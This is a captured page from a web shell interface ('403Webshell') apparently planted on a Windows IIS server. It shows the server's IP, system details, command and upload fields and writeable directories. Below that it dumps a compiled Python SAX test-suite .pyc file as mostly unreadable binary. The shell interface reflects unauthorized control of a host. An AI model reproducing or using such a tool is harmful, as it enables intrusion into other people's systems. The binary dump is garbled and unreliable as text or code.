403Webshell
Server IP : 121.121.20.254  /  Your IP : 216.73.216.202
Web Server : Microsoft-IIS/10.0
System : Windows NT WEB-SERVER 10.0 build 20348 (Windows Server 2022) AMD64
User : IUSR ( 0)
PHP Version : 8.3.28
Disable Function : NONE
MySQL : ON  |  cURL : ON  |  WGET : OFF  |  Perl : OFF  |  Python : OFF  |  Sudo : OFF  |  Pkexec : OFF
Directory :  C:/Python313/Lib/test/__pycache__/

Upload File :
current_dir [ Writeable ] document_root [ Writeable ]

 

Command :


[ Back ]     

Current File : C:/Python313/Lib/test/__pycache__/test_sax.cpython-313.opt-2.pyc
�

��i������SSKJrJrJrJrJr SSKrSSKJr \"5 SSK	J
r
JrJrJ
r
JrJr SSKJr SSKJrJrJr SSKJrJrJr SS	KJrJr SSKrSSKrSSK r SSK!r!SSK"r"SS
K#J$r$ SSK%r&SSK'J(r( SSK'J)r) SS
K*J+r+J,r, \)"SSS9r-\)"SSS9r.\-R_S5 \.R_S5 Sr1\RdRf(d+\(RhR_\"Rj"55 \Rp"\1S5r9Sr:"SS\Rv5r<S@Sjr=SASjr>SASjr?"SS\Rv5r@"SS \Rv5rA"S!S"\Rv5rB"S#S$\Rv5rC"S%S&5rD"S'S(\D\Rv5rE"S)S*\D\Rv5rF"S+S,\F5rG"S-S.\D\Rv5rH"S/S0\D\Rv5rIS1rJ"S2S3\Rv5rK\L"\.S45rM\MR�5rOSSS5 "S5S6\<5rP"S7S8\Rv5rQ"S9S:\<5rR"S;S<\Rv5rS"S=S>\Rv5rT\US?:Xa\R�"5 gg!\a \R"S5ef=f!\0a \R"S5ef=f!\6\74a Sr1GN�f=f!,(df   N�=f)B�)�make_parser�ContentHandler�SAXException�SAXReaderNotAvailable�SAXParseExceptionN)�mockzno XML parsers available)�XMLGenerator�escape�unescape�	quoteattr�
XMLFilterBase�prepare_input_source)�
create_parser)�feature_namespaces�feature_external_ges�LexicalHandler)�InputSource�AttributesImpl�AttributesNSImpl)�BytesIO�StringIO)�URLError)�	os_helper)�findfile)�FakePath�TESTFNztest.xml�xmltestdata)�subdirztest.xml.out�utf-8z!filename is not encodable to utf8TFz$Requires non-ascii filenames supportz%http://www.python.org/xml-ns/saxtest/c�&�\rSrSrSrSrSrSrg)�XmlTestBase�6c���UR[URS5 UR[URS5 UR[URS5 UR[UR
S5 UR[URS5 URUR5S5 URUR5/5 URUR5/5 UR[U5S5 URSU5 UR[UR55/5 URURS5S5 URURSS5S5 UR[UR!55/5 UR[UR#55/5 g)N�attrr�attrs�)�assertRaises�KeyError�getValue�getValueByQName�getNameByQName�getQNameByName�__getitem__�assertEqual�	getLength�getNames�	getQNames�len�assertNotIn�list�keys�get�items�values��selfr%s  �"C:\Python313\\Lib\test\test_sax.py�verify_empty_attrs�XmlTestBase.verify_empty_attrs7sf�����(�E�N�N�F�;����(�E�$9�$9�6�B����(�E�$8�$8�&�A����(�E�$8�$8�&�A����(�E�$5�$5�v�>�������*�A�.�������)�2�.�������*�B�/�����U��Q�'������'�����e�j�j�l�+�R�0�������7�+�T�2�������7�B�/��4�����e�k�k�m�,�b�1�����e�l�l�n�-�r�2�c�,�UR[UR[S45 UR[URS5 UR[UR
S5 UR[UR[S45 UR[UR[S45 URUR5S5 URUR5/5 URUR5/5 UR[U5S5 UR[S4U5 UR[UR55/5 URUR![S45S5 URUR![S4S5S5 UR[UR#55/5 UR[UR%55/5 g)Nr$�ns:attrrr&)r'r(r)�ns_urir*r+r,r-r.r/r0r1r2r3r4r5r6r7r8r9s  r;�verify_empty_nsattrs� XmlTestBase.verify_empty_nsattrsHs������(�E�N�N�V�V�4D�E����(�E�$9�$9�9�E����(�E�$8�$8�)�D����(�E�$8�$8�6�6�:J�K����(�E�$5�$5���7G�H�������*�A�.�������)�2�.�������*�B�/�����U��Q�'����&�&�)�5�1�����e�j�j�l�+�R�0�������F�F�#3�4�d�;�������F�F�#3�R�8�"�=�����e�k�k�m�,�b�1�����e�l�l�n�-�r�2r>c���URUR5S5 URUR5S/5 URUR5S/5 UR[	U5S5 URSU5 UR[
UR55S/5 URURS5S5 URURSS5S5 UR[
UR55S/5 UR[
UR55S/5 URURS5S5 URURS5S5 URURS5S5 URUSS5 URURS5S5 g)N�r$�valr&)r$rF)r.r/r0r1r2�assertInr4r5r6r7r8r)r*r+r,r9s  r;�verify_attrs_wattr�XmlTestBase.verify_attrs_wattrYsw��������*�A�.�������)�F�8�4�������*�V�H�5�����U��Q�'��
�
�f�e�$�����e�j�j�l�+�f�X�6�������6�*�E�2�������6�2�.��6�����e�k�k�m�,��.?�@�����e�l�l�n�-��w�7��������/��7�����.�.�v�6��>�����-�-�f�5�v�>�����v���.�����-�-�f�5�v�>r>�N)�__name__�
__module__�__qualname__�__firstlineno__r<rBrH�__static_attributes__rJr>r;r!r!6s��3�"3�"?r>r!c� �UcU$SU<SU<3$�N�<?xml version="1.0" encoding="�"?>
rJ)�doc�encodings  r;�xml_strrVks�����
��8@�#�F�Fr>c�F�USLaUn[X5RUS5$)N.�xmlcharrefreplace)rV�encode)rTrU�
decl_encodings   r;�	xml_bytesr[ps(����� �
��3�&�-�-�h�8K�L�Lr>c��USLaUn[[SUSS9nUR[X55 SSS5 g!,(df   g=f)N.�wrX)rU�errors)�openr�writerV)rTrUrZ�fs    r;�
make_xml_filerbus>����� �
�	
�f�c�H�5H�	I�Q�	�����+�,�
J�	I�	I�s	�<�
A
c�T�\rSrSrSrSrSrSrSrSr	Sr
S	rS
rSr
SrS
rg)�	ParseTest�|u,<money value="$£€𐅻">$£€𐅻</money>c�8�[R"[5 g�N)r�unlinkr�r:s r;�tearDown�ParseTest.tearDowns������ r>c��SSKJn [5nU"U[US55 UR	UR5[
URS55 g)Nr)�parser)�xml.saxrmrr	r.�getvaluerV�data)r:rarm�results    r;�check_parse�ParseTest.check_parse�s?��!����
�a��f�g�.�/�������*�G�D�I�I�w�,G�Hr>c	��SnUH�nUR[[URU555 [	URU5 [[SUS9nURU5 SSS5 UR[UR55 [	URUS5 [[SUS9nURU5 SSS5 M� g!,(df   Nw=f!,(df   M�=f)N��us-ascii�
iso-8859-1r�utf-16�utf-16le�utf-16be�r�rU)rrrrVrprbr_r�r:�	encodingsrUras    r;�test_parse_text�ParseTest.test_parse_text�s���7�	�!�H����X�g�d�i�i��&B�C�D��$�)�)�X�.��f�c�H�5��� � ��#�6����X�d�i�i�0�1��$�)�)�X�t�4��f�c�H�5��� � ��#�6�5�"�6�5��6�5�s�C�?C/�
C,	�/
C>	c
�D�SnUGHnUR[[URU555 [	URU5 UR[
5 [
[
S5nURU5 SSS5 UR[[URUS555 [	URUS5 UR[
5 [
[
S5nURU5 SSS5 GM UR[[URSS555 [	URSS5 UR[
5 [
[
S5nURU5 SSS5 UR[[URSS555 [	URSS5 UR[
5 [
[
S5nURU5 SSS5 UR[[URS555 [	URS5 UR[
5 [
[
S5nURU5 SSS5 UR[5 UR[[URSS555 SSS5 [	URSS5 UR[5 UR[
5 SSS5 [
[
S5nUR[5 URU5 SSS5 SSS5 g!,(df   GN=f!,(df   GM�=f!,(df   GN=f!,(df   GN�=f!,(df   GN8=f!,(df   N�=f!,(df   N�=f!,(df   N�=f!,(df   g=f)N�rvrrxryrz�rb�	utf-8-sigrrw)	rrrr[rprbrr_r'rr}s    r;�test_parse_bytes�ParseTest.test_parse_bytes�s���L�	�!�H����W�Y�t�y�y�(�%C�D�E��$�)�)�X�.����V�$��f�d�#�q�� � ��#�$����W�Y�t�y�y�(�D�%I�J�K��$�)�)�X�t�4����V�$��f�d�#�q�� � ��#�$�#�"�	
�����4�9�9�k�7�!K�L�M��d�i�i��g�6����� �
�&�$�
�1����Q�� ������4�9�9�k�4�!H�I�J��d�i�i��d�3����� �
�&�$�
�1����Q�� �	
�����4�9�9�l�!C�D�E��d�i�i��.����� �
�&�$�
�1����Q�� ��
�
�|�
,����W�Y�t�y�y�,��%M�N�O�-��d�i�i��t�4�
�
�
�|�
,����V�$�-�
�&�$�
�1��"�"�<�0�� � ��#�1� �
�=$�#��
$�#�� �
��
 �
�� �
��-�
,��-�
,��1�0�� �
�sx�2N�7N�N(�N:�	O�80O�O/�
P� P�2P�
N	�
N%	�(
N7�:
O	�
O�
O,�/
O=�
P	�
P�
Pc�n�[URSS5 UR[[55 g)Nr)rbrprrrrris r;�test_parse_path_object� ParseTest.test_parse_path_object�s%���d�i�i��$�/�����&�)�*r>c��[URSS5 [[S5n[	5nURU5 UR
S5 URU5 SSS5 g!,(df   g=f)Nrwr�)rbrpr_rr�
setByteStream�setEncodingrr)r:ra�inputs   r;�test_parse_InputSource� ParseTest.test_parse_InputSource�s[���d�i�i��t�4�
�&�$�
�1��M�E�����"����l�+����U�#�	 �
�
�s�>A/�/
A=c�p^^�[mSmUU4Sjn[R"SUS9 [URSS5 UR[5 UR[5 SSS5 URTR5 SSS5 g!,(df   N2=f!,(df   g=f)Nc�>�T"U6mT$rgrJ)�args�builtin_open�fileobjs ��r;�	mock_open�4ParseTest.test_parse_close_source.<locals>.mock_open�s���"�D�)�G��Nr>zxml.sax.saxutils.open)�side_effectrw)r_r�patchrbrpr'rrrr�
assertTrue�closed)r:r�r�r�s  @@r;�test_parse_close_source�!ParseTest.test_parse_close_source�s~�������	�
�Z�Z�/�Y�
G��$�)�)�\�4�8��"�"�<�0�� � ��(�1��O�O�G�N�N�+�	H�
G�0�0��H�
G�s#�-B'�B�*#B'�
B$	� B'�'
B5c��SSKJn [5nU"U[US55 UR	UR5[
URS55 g)Nr)�parseStringr)rnr�rr	r.rorVrp)r:�sr�rqs    r;�check_parseString�ParseTest.check_parseString�s?��'�����A�|�F�G�4�5�������*�G�D�I�I�w�,G�Hr>c��SnUH(nUR[URU55 M* URUR5 g)Nru)r�rVrp�r:r~rUs   r;�test_parseString_text�ParseTest.test_parseString_text�s>��7�	�!�H��"�"�7�4�9�9�h�#?�@�"����t�y�y�)r>c�<�SnUHNnUR[URU55 UR[URUS55 MP UR[URSS55 UR[URSS55 UR[URS55 UR[5 UR[URSS55 SSS5 g!,(df   g=f)Nr�r�rrw)r�r[rpr'rr�s   r;�test_parseString_bytes� ParseTest.test_parseString_bytes�s���L�	�!�H��"�"�9�T�Y�Y��#A�B��"�"�9�T�Y�Y��$�#G�H�"�	
���y����K��I�J����y����K��F�G����y����L�A�B�
�
�
�|�
,��"�"�9�T�Y�Y��d�#K�L�-�
,�
,�s�'D
�
DrJN)rKrLrMrNrprjrrrr�r�r�r�r�r�r�rOrJr>r;rdrd|s=��O�D�!�I�$�($�T+�$�
,�I�*�Mr>rdc�,�\rSrSrSrSrSrSrSrg)�MakeParserTest�c��SSKJn U"5nSSKJn U"5nSSKJn U"5nSSKJn U"5nSSKJn U"5nSSKJn U"5ng)Nr�r)rnr)r:r�ps   r;�test_make_parser2� MakeParserTest.test_make_parser2�s@��	(��M��'��M��'��M��'��M��'��M��'��M�r>c��[S/5 [S5 [S15 [[S155 [SS05 [[S/55 g)N�module)r��r�	frozenset�iterris r;�test_make_parser3� MakeParserTest.test_make_parser3
sK��	�X�J���L�!��X�J���I�x�j�)�*��X�t�$�%��D�(��$�%r>c���[/5 [[55 [[55 [[55 [05 [[	/55 grg)r�tuple�setr�r�ris r;�test_make_parser4� MakeParserTest.test_make_parser4s:���B���E�G���C�E���I�K� ��B���D��H�r>c���[SS/5 [S5 [SS15 [[SS155 [SSS.5 [[SS/55 g)N�module1�module2)r�r�r�ris r;�test_make_parser5� MakeParserTest.test_make_parser5sX��	�Y�	�*�+��*�+��Y�	�*�+��I�y�)�4�5�6����6�7��D�)�Y�/�0�1r>rJN)	rKrLrMrNr�r�r�r�rOrJr>r;r�r��s���"&��2r>r�c�\�\rSrSrSrSrSrSrSrSr	Sr
S	rS
rSr
SrS
rSrg)�SaxutilsTesti-c�:�UR[S5S5 g)N�Donald Duck & Co�Donald Duck &amp; Co�r.r
ris r;�test_escape_basic�SaxutilsTest.test_escape_basic/s������ 2�3�5K�Lr>c�:�UR[S5S5 g)N�<Donald Duck & Co>�&lt;Donald Duck &amp; Co&gt;r�ris r;�test_escape_all�SaxutilsTest.test_escape_all2s������ 4�5�7�	9r>c�@�UR[SSS05S5 g�NuHei på deg�åz&aring;zHei p&aring; degr�ris r;�test_escape_extra�SaxutilsTest.test_escape_extra6s!������
��y�/A�B�+�	-r>c�:�UR[S5S5 g)Nr�r��r.rris r;�test_unescape_basic� SaxutilsTest.test_unescape_basic;s������"8�9�;M�Nr>c�:�UR[S5S5 g)Nr�r�r�ris r;�test_unescape_all�SaxutilsTest.test_unescape_all>s������"@�A�-�	/r>c�@�UR[SSS05S5 gr�r�ris r;�test_unescape_extra� SaxutilsTest.test_unescape_extraBs!������-�$��1C�D�+�	-r>c�@�UR[SSS05S5 g)Nz	&amp;foo;z&foo;�splatr�ris r;�test_unescape_amp_extra�$SaxutilsTest.test_unescape_amp_extraFs������+���/A�B�G�Lr>c�:�UR[S5S5 g)Nr�z"Donald Duck &amp; Co"�r.rris r;�test_quoteattr_basic�!SaxutilsTest.test_quoteattr_basicJs������#5�6�1�	3r>c�:�UR[S5S5 g)NzIncludes "double" quotesz'Includes "double" quotes'r�ris r;�test_single_quoteattr�"SaxutilsTest.test_single_quoteattrN�������#=�>�7�	9r>c�:�UR[S5S5 g)NzIncludes 'single' quotesz"Includes 'single' quotes"r�ris r;�test_double_quoteattr�"SaxutilsTest.test_double_quoteattrRr�r>c�:�UR[S5S5 g)Nz%Includes 'single' and "double" quotesz1"Includes 'single' and &quot;double&quot; quotes"r�ris r;�test_single_double_quoteattr�)SaxutilsTest.test_single_double_quoteattrVs������#L�M�N�	Pr>c��[S/5ng)Nzxml.parsers.no_such_parserr�)r:r�s  r;�test_make_parser�SaxutilsTest.test_make_parser[s��
�5�6�7�r>rJN)rKrLrMrNr�r�r�r�r�r�r�r�r�r�r�r�rOrJr>r;r�r�-sB��M�9�-�
O�/�-�M�3�9�9�P�
8r>r�c�\�\rSrSrSrSrSrSrSrSr	Sr
S	rS
rSr
SrS
rSrg)�PrepareInputSourceTestiac��[RUl[URS5nUR	S5 SSS5 g!,(df   g=f)Nr]zThis was read from a file.)rr�filer_r`)r:�tmps  r;�setUp�PrepareInputSourceTest.setUpcs8���$�$��	�
�$�)�)�S�
!�S��I�I�2�3�"�
!�
!�s�A�
Ac�D�[R"UR5 grg)rrhr�ris r;rj�PrepareInputSourceTest.tearDownhs��������#r>c��[S5$�NsThis is a byte stream.)rris r;�make_byte_stream�'PrepareInputSourceTest.make_byte_streamks���0�1�1r>c��[S5$�NzThis is a character stream.)rris r;�make_character_stream�,PrepareInputSourceTest.make_character_streamns���5�6�6r>c��URU5 URUR5U5 UR5 grg)�assertIsNotNoner.�read�close)r:�stream�contents   r;�checkContent�#PrepareInputSourceTest.checkContentqs/�����V�$���������0����r>c��[UR5nURUR55 [	U5nURUR
55 URUR5S5 gr)	rr��setCharacterStreamrr�assertIsNone�
getByteStreamr
�getCharacterStream�r:�src�preps   r;�test_character_stream�,PrepareInputSourceTest.test_character_streamwsd���$�)�)�$�����t�9�9�;�<�#�C�(�����$�,�,�.�/����$�1�1�3�7�	9r>c��[UR5nURUR55 [	U5nURUR
55 URUR5S5 gr�)	rr�r�r�rrrr
rrs   r;�test_byte_stream�'PrepareInputSourceTest.test_byte_stream�sf���$�)�)�$�����$�/�/�1�2�#�C�(�����$�1�1�3�4����$�,�,�.�3�	5r>c���[UR5n[U5nURUR	55 URUR
5S5 g�NsThis was read from a file.)rr�rrrr
rrs   r;�test_system_id�%PrepareInputSourceTest.test_system_id�sO���$�)�)�$��#�C�(�����$�1�1�3�4����$�,�,�.�7�	9r>c��[UR5nURUR55 UR	UR5S5 gr)rr�rrr
r�r:rs  r;�test_string�"PrepareInputSourceTest.test_string�sC��#�D�I�I�.�����$�1�1�3�4����$�,�,�.�7�	9r>c��[[UR55nURUR	55 URUR
5S5 gr)rrr�rrr
rrs  r;�test_path_objects�(PrepareInputSourceTest.test_path_objects�sH��#�H�T�Y�Y�$7�8�����$�1�1�3�4����$�,�,�.�7�	9r>c��[UR55nURUR55 UR	UR5S5 gr�)rr�rrr
rrs  r;�test_binary_file�'PrepareInputSourceTest.test_binary_file�sJ��$�D�$9�$9�$;�<�����$�1�1�3�4����$�,�,�.�3�	5r>c��[UR55nURUR55 UR	UR5S5 gr)rrrrr
rrs  r;�test_text_file�%PrepareInputSourceTest.test_text_file�sJ��$�D�$>�$>�$@�A�����$�,�,�.�/����$�1�1�3�7�	9r>)r�N)rKrLrMrNr�rjr�rr
rrrrr"r%r(rOrJr>r;r�r�as>��4�
$�2�7��9�5�9�9�9�5�9r>r�c��\rSrSrSrSrSrSrSrSr	Sr
S	rS
rSr
SrS
rSrSrSrSrSrSrSrSrSrSrSrSrSrg)�
XmlgenTesti�c��UR5n[U5nUR5 URS05 UR	S5 UR5 UR
UR5URS55 g)NrT�<doc></doc>�	�ioclassr	�
startDocument�startElement�
endElement�endDocumentr.ro�xml�r:rq�gens   r;�test_xmlgen_basic�XmlgenTest.test_xmlgen_basic�si��������6�"�����������#����u������������*�D�H�H�]�,C�Dr>c��UR5n[USS9nUR5 URS05 UR	S5 UR5 UR
UR5URS55 g)NT��short_empty_elementsrT�<doc/>r.r5s   r;�test_xmlgen_basic_empty�"XmlgenTest.test_xmlgen_basic_empty�sk��������6��=�����������#����u������������*�D�H�H�X�,>�?r>c�@�UR5n[U5nUR5 URS05 UR	S5 URS5 UR
5 URUR5URS55 g)NrT�huhei�<doc>huhei</doc>�
r/r	r0r1�
charactersr2r3r.ror4r5s   r;�test_xmlgen_content�XmlgenTest.test_xmlgen_content�sv��������6�"�����������#����w�����u������������*�D�H�H�5G�,H�Ir>c�>�UR5n[USS9nUR5 URS05 UR	S5 URS5 UR
5 URUR5URS55 g)NTr:rTr@rArBr5s   r;�test_xmlgen_content_empty�$XmlgenTest.test_xmlgen_content_empty�sx��������6��=�����������#����w�����u������������*�D�H�H�5G�,H�Ir>c�B�UR5n[U5nUR5 URSS5 UR	S05 URS5 UR
5 URUR5URS55 g)N�testrprTz<?test data?><doc></doc>)
r/r	r0�processingInstructionr1r2r3r.ror4r5s   r;�test_xmlgen_pi�XmlgenTest.test_xmlgen_pi�s}��������6�"�������!�!�&�&�1������#����u������������*��H�H�/�0�	2r>c�@�UR5n[U5nUR5 URS05 UR	S5 URS5 UR
5 URUR5URS55 g)NrTz<huhei&z<doc>&lt;huhei&amp;</doc>rBr5s   r;�test_xmlgen_content_escape�%XmlgenTest.test_xmlgen_content_escape�sy��������6�"�����������#����y�!����u������������*��H�H�0�1�	3r>c��UR5n[U5nUR5 URSSS05 URSSS05 UR	S5 URSSS05 UR	S5 URSSS05 UR	S5 UR	S5 UR5 UR
UR5URS55 g)	NrT�a�"�e�'z'"z

	zK<doc a='"'><e a="'"></e><e a="'&quot;"></e><e a="&#10;&#13;&#9;"></e></doc>r.r5s   r;�test_xmlgen_attr_escape�"XmlgenTest.test_xmlgen_attr_escape�s���������6�"�����������c�
�+�����s�C�j�)����s������s�E�l�+����s������s�H�o�.����s�����u������������*�D�H�H�
1�-2�	3r>c	�T�SnUH�nUR5n[X2S9nUR5 URSSS05 UR	S5 URS5 UR
5 URUR5URSUS95 M� g)N�	ziso-8859-15rr�rxrzryzutf-32zutf-32bezutf-32ler|rTrR�€u<doc a="€">€</doc>rB�r:r~rUrqr6s     r;�test_xmlgen_encoding�XmlgenTest.test_xmlgen_encodings���7�	�"�H��\�\�^�F��v�9�C��������U�S�(�O�4��N�N�8�$��N�N�5�!��O�O�����V�_�_�.����7�(��K�
M�"r>c�@�UR5n[USS9nUR5 URSSS05 UR	S5 URS5 UR
5 URUR5URSSS95 g)N�asciir|rTrRrZz<doc a="&#8364;">&#8364;</doc>rBr5s   r;�test_xmlgen_unencodable�"XmlgenTest.test_xmlgen_unencodable s���������6�G�4�����������h��0����x� ����u������������*��H�H�5��H�H�	Jr>c�@�UR5n[U5nUR5 URS05 UR	S5 URS5 UR
5 URUR5URS55 g)NrT� �<doc> </doc>�
r/r	r0r1�ignorableWhitespacer2r3r.ror4r5s   r;�test_xmlgen_ignorable� XmlgenTest.test_xmlgen_ignorable-sw��������6�"�����������#�����$����u������������*�D�H�H�^�,D�Er>c�>�UR5n[USS9nUR5 URS05 UR	S5 URS5 UR
5 URUR5URS55 g)NTr:rTrcrdrer5s   r;�test_xmlgen_ignorable_empty�&XmlgenTest.test_xmlgen_ignorable_empty9sy��������6��=�����������#�����$����u������������*�D�H�H�^�,D�Er>c	��SnUH�nUR5n[X2S9nUR5 URSSS05 UR	SRU55 UR
SRU55 URS5 UR5 URUR5URSUS95 M� g)NrYr|rTrRrZrcu<doc a="€">€ </doc>)r/r	r0r1rCrYrfr2r3r.ror4r[s     r;�test_xmlgen_encoding_bytes�%XmlgenTest.test_xmlgen_encoding_bytesEs���7�	�"�H��\�\�^�F��v�9�C��������U�S�(�O�4��N�N�8�?�?�8�4�5��#�#�C�J�J�x�$8�9��N�N�5�!��O�O�����V�_�_�.����8�8��L�
N�"r>c���UR5n[U5nUR5 URS[5 UR[S4S05 URSS05 UR
SS5 UR
[S4S5 URS5 UR5 URUR5URS[-55 g)N�ns1rT�ns1:doc�N�udocz/<ns1:doc xmlns:ns1="%s"><udoc></udoc></ns1:doc>�r/r	r0�startPrefixMappingrA�startElementNS�endElementNS�endPrefixMappingr3r.ror4r5s   r;�test_xmlgen_ns�XmlgenTest.test_xmlgen_nsWs���������6�"���������u�f�-����F�E�?�I�r�:����>�4��4������.����&�%��)�4����U�#�����������*�D�H�H�<�)/�0�-1�	2r>c���UR5n[USS9nUR5 URS[5 UR[S4S05 URSS05 UR
SS5 UR
[S4S5 URS5 UR5 URUR5URS[-55 g)NTr:rprTrqrrz)<ns1:doc xmlns:ns1="%s"><udoc/></ns1:doc>rtr5s   r;�test_xmlgen_ns_empty�XmlgenTest.test_xmlgen_ns_emptyis���������6��=���������u�f�-����F�E�?�I�r�:����>�4��4������.����&�%��)�4����U�#�����������*�D�H�H�6�)/�0�-1�	2r>c�&�UR5n[U5nUR5 URSSSS05 UR	SS5 UR5 UR
UR5URS55 g)N�NrRrR�N�b�cz
<a b="c"></a>�	r/r	r0rvrwr3r.ror4r5s   r;�test_1463026_1�XmlgenTest.test_1463026_1{st��������6�"���������;��k�#�->�?�����c�*�����������*�D�H�H�_�,E�Fr>c�$�UR5n[USS9nUR5 URSSSS05 UR	SS5 UR5 UR
UR5URS55 g)NTr:rrRr�r�z
<a b="c"/>r�r5s   r;�test_1463026_1_empty�XmlgenTest.test_1463026_1_empty�sv��������6��=���������;��k�#�->�?�����c�*�����������*�D�H�H�\�,B�Cr>c�h�UR5n[U5nUR5 URSS5 UR	SS05 URSS5 UR
S5 UR5 URUR5URS55 g)N�qux�r�rRrRz<a xmlns="qux"></a>�r/r	r0rurvrwrxr3r.ror4r5s   r;�test_1463026_2�XmlgenTest.test_1463026_2�s���������6�"���������t�U�+����<��b�1�����s�+����T�"�����������*�D�H�H�5J�,K�Lr>c�f�UR5n[USS9nUR5 URSS5 UR	SS05 URSS5 UR
S5 UR5 URUR5URS55 g)NTr:r�r�rRz<a xmlns="qux"/>r�r5s   r;�test_1463026_2_empty�XmlgenTest.test_1463026_2_empty�s���������6��=���������t�U�+����<��b�1�����s�+����T�"�����������*�D�H�H�5G�,H�Ir>c�l�UR5n[U5nUR5 URSS5 UR	SSSS05 URSS5 UR
S5 UR5 URUR5URS55 g)N�myr�r�rRr�r�z"<my:a xmlns:my="qux" b="c"></my:a>r�r5s   r;�test_1463026_3�XmlgenTest.test_1463026_3�s���������6�"���������t�U�+����<��{�3�.?�@�����s�+����T�"�����������*��H�H�9�:�	<r>c�j�UR5n[USS9nUR5 URSS5 UR	SSSS05 URSS5 UR
S5 UR5 URUR5URS	55 g)
NTr:r�r�r�rRr�r�z<my:a xmlns:my="qux" b="c"/>r�r5s   r;�test_1463026_3_empty�XmlgenTest.test_1463026_3_empty�s���������6��=���������t�U�+����<��{�3�.?�@�����s�+����T�"�����������*��H�H�3�4�	6r>c�2�[S5n[5nUR[S5 UR	5n[U5nUR
U5 URU5 URUR5URS55 g)Nzb<?xml version="1.0"?><a:g1 xmlns:a="http://example.com/ns"><a:g2 xml:lang="en">Hello</a:g2></a:g1>T�M<a:g1 xmlns:a="http://example.com/ns"><a:g2 xml:lang="en">Hello</a:g2></a:g1>)rr�
setFeaturerr/r	�setContentHandlerrmr.ror4)r:�test_xml�parserrqr6s     r;�test_5027_1�XmlgenTest.test_5027_1�s����
���������,�d�3�������6�"��� � ��%����X��������*����#�$�	%r>c���UR5n[U5nUR5 URSS5 UR	SS05 SS0nUR	SSU5 URS	5 UR
SS5 UR
SS5 URS5 UR5 URUR5URS
55 g)NrR�http://example.com/ns)r��g1r�)z$http://www.w3.org/XML/1998/namespace�lang�en)r��g2r��Hellor�)r/r	r0rurvrCrwrxr3r.ror4)r:rqr6�	lang_attrs    r;�test_5027_2�XmlgenTest.test_5027_2�s���������6�"���������s�$;�<����:�D�"�E�E�t�L�	����:�D�)�L����w�����8�$�?����8�$�?����S�!�����������*����#�$�	%r>c�p�UR5nSnU"U5 URUR5 g)Nc�^�[U5nUR5 URS05 g)NrT)r	r0r1)�outr6s  r;�func�+XmlgenTest.test_no_close_file.<locals>.func�s(���s�#�C��������U�B�'r>)r/�assertFalser�)r:rqr�s   r;�test_no_close_file�XmlgenTest.test_no_close_file�s-�������	(�	
�V��������'r>c	��UR5n[U5nURSSS05 URS5 UR	S5 URSSS05 UR	S5 URUR
5URS5[URS	55S5 g)
N�foorR�1.0r��barr�z2.0z+<foo a="1.0">Hello</foo><bar b="2.0"></bar>�)	r/r	r1rCr2r.ror4r2r5s   r;�test_xmlgen_fragment�XmlgenTest.test_xmlgen_fragments���������6�"��	�����e��-����w�����u�������e��-����u��	
������*��H�H�B�C�C����QS��DU�DV�W�	Yr>rJN)rKrLrMrNr7r=rDrGrLrOrVr\r`rgrjrmryr|r�r�r�r�r�r�r�r�r�r�rOrJr>r;r+r+�s���E�@�
J�
J�2�3�3�(M�"J�
F�
F�N�$2�$2�$	G�	D�M�J�<�6�%�4%�8(�
Yr>r+c�&�\rSrSr\rSSjrSrSrg)�StringXmlgenTestic��SU<SU<3$rQrJ�r:rTrUs   r;r4�StringXmlgenTest.xmls
��<D�c�J�Jr>NrJ�rw)	rKrLrMrNrr/r4r`rOrJr>r;r�r�s���G�K�#�r>r�c�"�\rSrSr\rSSjrSrg)�BytesXmlgenTestic�6�SU<SU<3RUS5$)NrRrSrX�rYr�s   r;r4�BytesXmlgenTest.xml s���3� �!'���2E�!F�	Gr>rJNr�)rKrLrMrNrr/r4rOrJr>r;r�r�s
���G�Gr>r�c�*�\rSrSr"SS\5rSrg)�WriterXmlgenTesti$c�B�\rSrSr\R
rSrSrSr	Sr
Srg)�WriterXmlgenTest.ioclassi%Fc��g�NTrJris r;�seekable�!WriterXmlgenTest.ioclass.seekable)s��r>c��[U5$rg)r2ris r;�tell�WriterXmlgenTest.ioclass.tell,s���t�9�r>c�$�SRU5$)Nr>)�joinris r;ro�!WriterXmlgenTest.ioclass.getvalue0s���8�8�D�>�!r>rJN)rKrLrMrNr4�appendr`r�r�r�rorOrJr>r;r/r�%s��������	�	�	"r>r/rJN)rKrLrMrNr4r/rOrJr>r;r�r�$s��"�$�"r>r�c�$�\rSrSrSrSSjrSrg)�StreamWriterXmlgenTesti3c�v�[5n[R"S5"US5nURUlU$)Nr_rX)r�codecs�	getwriterro)r:�raw�writers   r;r/�StreamWriterXmlgenTest.ioclass4s1���i���!�!�'�*�3�0C�D���,�,����
r>c�6�SU<SU<3RSS5$�NrRrSr_rXr�r�s   r;r4�StreamWriterXmlgenTest.xml:����3� �!'���1D�!E�	Fr>rJNr�)rKrLrMrNr/r4rOrJr>r;r�r�3s
���Fr>r�c�B�\rSrSr\R
S-rSrSSjrSr	g)�StreamReaderWriterXmlgenTesti>z-codecsc�^^�[R"TRSSSSS9mUU4SjnTRU5 U4SjnUTlT$)Nr]r_rXr)rUr^�	bufferingc�f>�TR5 [R"TR5 grg)rrrh�fname)r:r�s��r;�cleanup�5StreamReaderWriterXmlgenTest.ioclass.<locals>.cleanupDs����L�L�N����T�Z�Z�(r>c�>�TR5 [TRS5nUR5sSSS5 $!,(df   g=f�Nr�)rr_�namer)rar�s �r;ro�6StreamReaderWriterXmlgenTest.ioclass.<locals>.getvalueHs1����L�L�N��f�k�k�4�(�A��v�v�x�)�(�(�s�A�
A)r�r_r��
addCleanupro)r:r�ror�s`  @r;r/�$StreamReaderWriterXmlgenTest.ioclassAsG������T�Z�Z��w�$7�1�F��	)�	
���� �	 �
#����
r>c�6�SU<SU<3RSS5$r�r�r�s   r;r4� StreamReaderWriterXmlgenTest.xmlPr�r>rJNr�)
rKrLrMrNrrr�r/r4rOrJr>r;r�r�>s�����y�(�E�
�Fr>r�s,<?xml version="1.0" encoding="iso-8859-1"?>
c��\rSrSrSrSrg)�XMLFilterBaseTestiWc�|�[5n[U5n[5nURU5 UR	5 URS05 UR
S5 URS5 URS5 UR5 URUR5[S-5 g)NrTr	rcs<doc>content </doc>)
rr	r
r�r0r1rCrfr2r3r.ro�start)r:rqr6�filters    r;�test_filter_basic�#XMLFilterBaseTest.test_filter_basicXs�������6�"������ � ��%��������E�2�&����)�$��"�"�3�'����%� �����������*�E�4J�,J�Kr>rJN)rKrLrMrNr�rOrJr>r;r�r�Ws��
Lr>r�r�c��\rSrSrSrSr\S5rSrSr	"SS5r
"S	S
5rSrSr
S
